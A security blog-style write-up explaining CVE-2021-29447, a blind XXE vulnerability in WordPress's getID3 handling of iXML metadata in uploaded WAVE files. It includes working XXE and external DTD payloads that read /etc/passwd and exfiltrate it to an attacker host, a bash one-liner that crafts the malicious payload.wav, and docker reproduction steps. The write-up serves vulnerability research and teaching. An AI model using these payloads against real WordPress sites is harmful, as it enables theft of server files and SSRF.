WordPress versions 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 are affected to XML eXternal Entity vulnerability where an authenticated user with the ability to upload files in the Media Library can upload a malicious WAVE file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).
WordPress uses ID3 library to parse information about an audio file uploaded in the Media Library that was vulnerable to XXE, but what is getID3 library, and why WordPress use it?
Metadata and iXML
Audio file format MPEG layer I, layer II and layer III (MP3) need a way to include information about the track (such as Artist name, Album name, Year, etc…). ID3 is a small chunk of extra data at the end of the file to carry information about the audio. The tag consists in 128 bytes (125 bytes + 3 bytes of “TAG” prefix) and has the following layout:
|Song title||30 characters|
The WAVE file is an instance of a Resource Interchange File Format (RIFF) that is a tagged file format. It has a specific container format (a chunk) that includes a four-character tag and the size (number of bytes) of the chunk. As a derivative of RIFF, WAV files can be tagged with metadata in the INFO chunk and one of usable metadata is called iXML.
iXML is an open standard for the inclusion of location sound metadata in Broadcast WAVE audio files, video files and also IP video and audio streams. This includes things like Scene, Take and Notes information. WordPress can parse information included in iXML tag by using the
simplexml_load_string() function in
wp-includes/ID3/getid3.lib.php file that parses a string as XML.
A very simplified iXML data chunk, in a mono file with only the most basic metadata objects will look something like this:
As said before, an author in WordPress can upload media file on WordPress Media Library in order to use it inside a post. Once a WAVE file is uploaded, the
wp_read_audio_metadata() WordPress function extracts audio information from the iXML metadata included in
$thisfile_riff_WAVE['iXML']['data'] variable that can contains malicious XML eXternal Entity.
XML makes us able to define entities that can be reused inside the document, for example:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
In this way, when the malicious XML above is parsed an attacker can read the
/etc/passwd content by assigning it to
&ext; entity and then display its value inside the XML document.
Talking about CVE-2021-29447 the result of parsed iXML metadata is not sent back to the user, so to exploit it we need a blind XXE payload. This is doable by including an external Document Type Definition controlled by the attacker. A DTD defines the valid building blocks of an XML document. It defines the document structure with a list of validated elements and attributes. A DTD can be declared inline inside an XML document, or as an external reference. For example, the payload injected inside the iXML WAVE file metadata could be something like this:
<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://example.com/evil.dtd'>%remote;%init;%trick;]>
As you can see, the XML document above includes an external DTD at
http://example.com/evil.dtd that contains the following payload:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://example.com/?p=%file;'>" >
The first line assign to the
file entity the result of
php://filter/read=convert.base64-encode/resource=/etc/passwd. The PHP wrapper
php:// makes us able to access various I/O streams and
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. Thanks to it, we can convert to base64 the content of a file (in the example above
/etc/passwd) and assign the result to the
%file entity. Now we can send to our server the content of
%file and exfiltrate it.
Once the malicious WAVE file is uploaded, the attacker receives an HTTP request that includes in the
p GET argument the base64 encoded content of
/etc/passwd. Following an example of the error_log of the attacker webserver:
By decoding the content of
p GET argument, the attacker can read the WordPress webserver
How to create a malicious WAVE file?
You don’t need an audio library to create a WAVE file and inject your payload inside the iXML metatag. You can just use bash! This is an example:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00'> payload.wav
I’ve generated the WAVE file with the payload that I used in the example above with the following command:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://192.168.1.7:9123/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
And inside the evil.dtd I put the following XML document:
Then I started a webserver on the same directory where
evil.dtd file is, with something like:
php -S 0.0.0.0:9123
Now I just need to upload my payload.wav to the WordPress Media Library:
How to reproduce the exploit locally
You can easily reproduce the exploit locally by using docker and the following docker-compose file that create for you a container with the vulnerable WordPress version and a MySQL database:
Once created both containers, before starting with the installation keep in mind that WordPress automatically upgrades its core. So, to prevent this you need to take a shell inside the wordpress container and edit the
wp-config.php by adding the following code:
define( 'WP_AUTO_UPDATE_CORE', false );
Note: This vulnerability only affects WordPress running on PHP version 8.